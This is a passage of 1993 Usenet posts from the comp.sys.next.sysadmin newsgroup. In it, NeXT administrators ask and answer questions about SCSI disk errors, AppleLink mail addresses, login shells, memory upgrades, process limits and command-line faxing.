next1:rcc% du -s /usrd/djh
/usrd/djh/.NeXT: I/O error
/usrd/djh/Apps/MathematicaLib: I/O error
/usrd/djh/cshs: I/O error
[ETC...]
and then reports his total disk usage is down by ~106 MB from the day
before.
Could this loss be related to running different OS versions between the
two machines? Can I try repairing the damage with 'fsck' or 'disk'
utilities? Earlier in the day I had shut down the server, disconnected an
external floppy drive (/dev/sd3a) and rebooted. Could this have caused
any problems?
---------------------------------------------------------------------
Robert C Cyphers
Department of Mathematics and Statistics
University of Pittsburgh
cyphers+@pitt.edu
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From: layhe@niman.mayo.edu (robert w. layhe)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to send mail to folks on APPLELINK from the Internet ?
Date: 30 Jun 1993 13:37:41 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <20s4v5$b3j@fermat.mayo.edu>
References: <1993Jun29.182315.20827@almserv.uucp>
In article <1993Jun29.182315.20827@almserv.uucp> dlewis@fnma.com
writes:
> In article <1993Jun28.155833.11597@elysia.fdn.org>
luis@elysia.fdn.org
> (Luis Arias) writes:
> > Hi,
> >
> > Does anyone know how to send mail to an applelink address ?
> >
> > Thanks.
>
> Try [applelinkacctname]@applelink.com ???
>
> DL
i have had success in sending to
lastname.firstname@applelink.apple.com. one SE i work with from
apple has this on his business card.
r
--
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Research Computing, SCJMRC | Voice: 602.391.7013
Mayo Clinic Scottsdale | Pager: 602.391.8677
Scottsdale, AZ 85259 | Fax: 602.391.7017
From: layhe@niman.mayo.edu (robert w. layhe)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to send mail to folks on APPLELINK from the Internet ?
Date: 30 Jun 1993 13:37:52 GMT
Organization: Mayo Foundation
Distribution: na
Message-ID: <20s4vg$b3k@fermat.mayo.edu>
References: <1993Jun29.182315.20827@almserv.uucp>
In article <1993Jun29.182315.20827@almserv.uucp> dlewis@fnma.com
writes:
> In article <1993Jun28.155833.11597@elysia.fdn.org>
luis@elysia.fdn.org
> (Luis Arias) writes:
> > Hi,
> >
> > Does anyone know how to send mail to an applelink address ?
> >
> > Thanks.
>
> Try [applelinkacctname]@applelink.com ???
>
> DL
i have had success in sending to
lastname.firstname@applelink.apple.com. one SE i work with from
apple has this on his business card.
r
--
Robert W. Layhe, PhD | Internet: layhe@mayo.edu
Research Computing, SCJMRC | Voice: 602.391.7013
Mayo Clinic Scottsdale | Pager: 602.391.8677
Scottsdale, AZ 85259 | Fax: 602.391.7017
From: layhe@niman.mayo.edu (robert w. layhe)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to send mail to folks on APPLELINK from the Internet ?
Date: 30 Jun 1993 13:38:05 GMT
Organization: Mayo Foundation
Message-ID: <20s4vt$b41@fermat.mayo.edu>
References: <1993Jun29.182315.20827@almserv.uucp>
Keywords: applelink
In article <1993Jun29.182315.20827@almserv.uucp> dlewis@fnma.com
writes:
> In article <1993Jun28.155833.11597@elysia.fdn.org>
luis@elysia.fdn.org
> (Luis Arias) writes:
> > Hi,
> >
> > Does anyone know how to send mail to an applelink address ?
> >
> > Thanks.
>
> Try [applelinkacctname]@applelink.com ???
>
> DL
i have had success in sending to
lastname.firstname@applelink.apple.com. one SE i work with from
apple has this on his business card.
r
--
Robert W. Layhe, PhD | Internet: layhe@mayo.edu
Research Computing, SCJMRC | Voice: 602.391.7013
Mayo Clinic Scottsdale | Pager: 602.391.8677
Scottsdale, AZ 85259 | Fax: 602.391.7017
From: rcc@next1.math.pitt.edu (robert cyphers)
Newsgroups: comp.sys.next.sysadmin
Subject: SCSI I/O error - trashed home directory(2)
Message-ID: <15513@blue.cis.pitt.edu>
Date: 30 Jun 93 14:07:04 GMT
Sender: news+@pitt.edu
Sorry for the double post, but I left out some detail in the first one by
acciddent.
I am running a NeXTCube server (NeXT Mach 2.1) and have a couple of
NetInfo/NFS clients running NeXT Mach 3.0. Yesterday a SCSI disk on the
NetInfo/file server apparently went beserk and started wiping out files
which belonged to a user who is running NS3.0 on his machine (and mounting
his home directory from the server).
His home dir is on an external MAXTOR disk mounted on /usrd, which a 'df'
shows as:
next1:rcc% df /usrd
Filesystem kbytes used avail capacity Mounted on
/dev/sd1d 251051 178564 47381 79% /usrd
The server console log shows:
Software Version 2.1 (Warp6.11)
Target 2: MEDIA ERROR; block 1e8eb0H retry 1
Target 2: MEDIA ERROR; block 1e8eb0H retry 2
Target 2: MEDIA ERROR; block 1e8eb0H retry 3
Target 2: MEDIA ERROR; block 1e8eb0H retry 4
Target 2: MEDIA ERROR; block 1e8eb0H retry 5
Target 2: MEDIA ERROR; block 1e8eb0H retry 6
Target 2: MEDIA ERROR; block 1e8eb0H retry 7
Target 2: MEDIA ERROR; block 1e8eb0H retry 8
Target 2: MEDIA ERROR; block 1e8eb0H retry 9
d1 (2,0): sense key:0x3 additional sense code:0x13
SCSI Block in error = 2002608; Partition d F.S. sector 251144
When I do a directory listing of his home directory I get 'not found'
errors:
next1:rcc% ls -alAF /usrd/djh
NeXT not found
cshs not found
Library not found
Mailboxes not found
prg not found
Home.sense not found
total 584
drwxr-xr-x 28 djh 2048 Jun 22 08:09 ./
drwxr-xr-x 5 djh 1024 Nov 20 1992 ../
-rw------- 1 djh 7 May 10 15:49 .Active.datebk
drwxrwxrwt 3 djh 1024 Apr 13 1992 .NextTrash/
[ETC...]
A 'du' on his home directory gives lots of 'I/O error' messages like:
next1:rcc% du -s /usrd/djh
/usrd/djh/.NeXT: I/O error
/usrd/djh/Apps/MathematicaLib: I/O error
/usrd/djh/cshs: I/O error
[ETC...]
and then reports his total disk usage is down by ~106 MB from the day
before.
Could this loss be related to running different OS versions between the
two machines? Can I try repairing the damage with 'fsck' or 'disk'
utilities? Earlier in the day I had shut down the server, disconnected an
external floppy drive (/dev/sd3a) and rebooted. Could this have caused
any problems?
---------------------------------------------------------------------
Robert C Cyphers
Department of Mathematics and Statistics
University of Pittsburgh
cyphers+@pitt.edu
---------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin
From: djiracek@thunder(Dan Jiracek)
Subject: error from netmsgserver
Message-ID: <1993Jun30.135302.10860@fnbc.com>
Sender: news@fnbc.com
Organization: First National Bank Of Chicago, Chicago IL, USA
Date: Wed, 30 Jun 93 13:53:02 GMT
I have a 100mg color 3.0 that has a fax modem attached. Lately the
machine has been hanging. The only errors I see in /usr/adm/messages are:
Jun 30 08:19:30 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265875.
Jun 30 08:19:30 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265903.
Jun 30 08:19:30 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265888.
Jun 30 08:19:30 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265869.
Jun 30 08:19:30 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265870.
Jun 30 08:19:30 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265881.
Jun 30 08:19:33 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265877.
Jun 30 08:19:33 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265897.
Jun 30 08:19:33 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265910.
Jun 30 08:19:33 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265854.
Jun 30 08:19:33 govt26 netmsgserver[66]:
srr_handle_response.srr_hash_lookup fails for -1821265888.
Jun 30 08:19:37 govt26 last message repeated 2 times
Does anyone know what these errors mean and if they're relevant?
Thanks,
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From: zryx0376@awssg7.rus.uni-stuttgart.de (Markus Wenzel (Hiwi bei R.Rabenseifner))
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UUCP NS-FIP error
Date: 30 Jun 1993 15:42:39 GMT
Organization: Visualization Group Comp.Center (RUS) U of Stuttgart, FRG
Message-ID: <20sc9f$17u4@info2.rus.uni-stuttgart.de>
References: <glenC9BICy.Ms8@netcom.com>
In article <glenC9BICy.Ms8@netcom.com> glen@netcom.com (Steven Kornreich) writes:
> I have been setting up uucp on my PC running NS-FIP and I can
>connect one or two times no problem, but then I get an error code
>" RAISE RDP exception 1 code 1 subcode c21 93bd0
>waiting for RDP connection"
>Anyone have any ideas???
As I said several times before: the serial drivers in NS/I 3.1 are broken.
No way out, sorry.
Regards, Markus.
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From: ruck@alpha.ee.ufl.edu (John R. Ruckstuhl Jr.)
Newsgroups: comp.sys.next.sysadmin
Subject: file's GID -- how decided?
Date: 30 Jun 1993 17:29:57 GMT
Organization: EE Dept at UF
Message-ID: <20siil$jld@bigguy.eng.ufl.edu>
When one creates a file, of course his uid is put into the fstat, i.e.,
he owns the file. But what gid is attached to the file?
I tried a couple of test cases under /tmp/junk as root, and discovered
that the new files inherited the group that is associated with the
directory in which the files are being created.
Sanity check, please.
Who fills in the fstat GID... where is this fundamental but subtle
difference: in the filesystem itself? in the kernel? in the
user-applications, e.g. the shell? As you can see, this is not my field
of expertise. :(
How does one change his "primary" group for a single shell session.
In SunOS, one would "newgroup", and subsequently, files created would
get the gid of the group he newgrouped to. Also, how does one determine
his current effective gid. In SunOS, one would use "id".
Perhaps there is no analog...
Thank you for your help.
Best regards,
ruck
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Dept. of Electrical Engineering ruck@cis.ufl.edu
University of Florida
From: ruck@alpha.ee.ufl.edu (John R. Ruckstuhl Jr.)
Newsgroups: comp.sys.next.sysadmin
Subject: loginwindow alternative to WM
Date: 30 Jun 1993 17:35:15 GMT
Organization: EE Dept at UF
Message-ID: <20sisj$jm4@bigguy.eng.ufl.edu>
How can loginwindow prompt the user for information before firing up the
Workspace manager?
I know how to get a loginhook run, but if that loginhook is a simple
shell-script, I guess its stdin and stdout aren't available to the
user -- they aren't connected to the keyboard and display...
Is there a NS window-based prompt utility which allows me to simply beam
a short message to the screen, accept a reply, and spit that reply out
to its stdout?
If so, can it talk to the display before the Workspace manager is up --
that is, can it be done from loginhook?
And another important question: How, besides first logging in as
"console" (see footnote), can the ordinary user get a plain old shell
!instead! of the GUI.
I suppose this is done by setting the "Workspace" parameter for
"loginwindow" in the user's defaults database, but
dwrite loginwindow Workspace /bin/csh
doesn't work (for subsequent logins), I guess because the window-manager
is still running and the shell's stdin and stdout aren't connected to ...
From this shell, can he subsequently type a command to get the GUI? I'm
asking about a sequence whereby the user logs in and is given a shell,
then can later fire up Workspace manager.
Thank you for your help.
Best regards,
ruck
Footnote: Assuming init is firing up loginwindow on the console, and on
interrupt, a getty will be executed instead ... I know the user can log
in as "console" and get a shell on the console.
Thanks very much!
Best regards,
ruck
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Dept. of Electrical Engineering ruck@cis.ufl.edu
University of Florida
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: gseng@ctp.com (Greg Sengle)
Subject: 16->20meg memory upgrade
Message-ID: <1993Jun30.173917.29706@ctp.com>
Sender: news@ctp.com
Organization: Cambridge Technology Partners
Date: Wed, 30 Jun 1993 17:39:17 GMT
I have a NeXT station mono 25mhz, rom revision 59 which
shipped originally from NeXT as a 16/400 machine.
I have just purchased 4x1meg simms to upgrade to 20 megs.
Upon power up, the machine fails diagnostics and says something
like mixed mode in bank 1.
ALL 8 chips are non parity ram, 100ns.
I simply put the new four chips in the empty slots, and rebooted.
The machine will then boot if i tell it to, but of course it doesnt
recognize the memory.
I have tried reseating them. Is there some order they need to be in?
Any thoughts? I have no reason to believe the chips are bad, as they
came from another machine which went from 8 to 20 megs, and worked at
that point.
Ideas?
Thanks!
-greg
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From: scott@nic.gac.edu (Scott Hess)
Newsgroups: comp.sys.next.sysadmin
Subject: NS3.1 and "No more processes"
Date: 30 Jun 93 15:04:13
Organization: Is a sign of weakness
Distribution: world
Message-ID: <SCOTT.93Jun30150413@nic.gac.edu>
If I see "No more processes" about one more time on my system, I'm
going to blow chunks. It'd be alright if you got the message when
you were running fourteen separate compiles plus a could archivers
for good measure - but, I'm getting it running just a couple
programs. For instance, if I want to recompile two programs, I'd
like to start both compiles and then leave my desk. They can
compile on their own, then I can come back later and pick up the
pieces if need be.
Is there any way to increase the number of threads the kernel will
run? Something like the -nbuf=* parameter to the boot command?
I'm dying here!
[Send email, I'll summarize.]
Later,
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From: mgrdla@manager.Rose-Hulman.Edu (David L. Allabaugh)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: loginwindow alternative to WM
Date: 30 Jun 1993 20:08:49 GMT
Organization: News Service at Rose-Hulman
Message-ID: <20srshINNisn@master.cs.rose-hulman.edu>
References: <20sisj$jm4@bigguy.eng.ufl.edu>
Keywords: loginwindow, Terminal, login
In article <20sisj$jm4@bigguy.eng.ufl.edu> ruck@alpha.ee.ufl.edu (John R.
Ruckstuhl Jr.) writes:
> And another important question: How, besides first logging in as
> "console" (see footnote), can the ordinary user get a plain old shell
> !instead! of the GUI.
> I suppose this is done by setting the "Workspace" parameter for
> "loginwindow" in the user's defaults database, but
> dwrite loginwindow Workspace /bin/csh
> doesn't work (for subsequent logins), I guess because the window-manager
> is still running and the shell's stdin and stdout aren't connected to
..
>
> From this shell, can he subsequently type a command to get the GUI? I'm
> asking about a sequence whereby the user logs in and is given a shell,
> then can later fire up Workspace manager.
Close. You cant' just start up a shell, you have to start up an
application to handle the shell. The easiest way to do this is to select
Terminal as the default startup application. To do so:
dwrite loginwindow Workspace /NextApps/Terminal
This will bring up something called Workspace Helper and allows the
standard usage the Terminal application. It will come up alot more
quickly, but will still allow such niceties as cut/paste.
It is also possible to start Workspace in almost the standard
manner after this. You merely issue the command which Workspace normally
runs under on your system. In almost all cases this is:
/usr/lib/NextStep/Workspace.app/Workspace -LoginProgram YES
There are a few things to note about this. Since you started the command
from Terminal you can't close that terminal window or kill terminal or
your whole session goes away. If you background the process then I
believe this allows you to close that window, but I believe that you still
get logged out if you quit Terminal.
It should be noted that I have not tried this under 3.0 or 3.1. I
know that it runs with minimal bugs under 2.2 or below.
Hope this helps.
(By the way, did this ever get added to the FAQ? I haven't seen the FAQ
in about a bazillion years, so I wouldn't know.)
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Unix Manager Waters Computing Center
From: cahalan@clouds.gsfc.nasa.gov (Robert F. Cahalan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: command line faxing
Date: 30 Jun 1993 21:11:13 GMT
Organization: NASA Goddard Space Flight Center -- InterNetNews site
Distribution: world
Message-ID: <20svhh$fr1@skates.gsfc.nasa.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Please no more email requests for our "unofficial hack"!
Anyway, I realized that our hack that does command line
faxing depends on an expensive commercial library that gives you
full-screen editing capability from the command line.
As it says in the README:
The program "fax" provides command line faxing to a NeXT workstation,
through a menu created using the "fsp" or "full screen processor"
library which can be purchased for $595 from
Information Concepts, Inc
1413 K Street, NW
Washington, DC 20005
(202) 682-0330
The current version is 89.2, and it works in any unix environment
with termcap or termlib.
The names "clouds" and CloudsFax" must be replaced by the nodename
of the fax host, and the name of the fax on that host, repectively.
If you still want it after hearing this, you can ftp the source from
climate.gsfc.nasa.gov, in the directory pub/nextfax
In any case, NO MORE EMAIL REQUESTS PLEASE!!!
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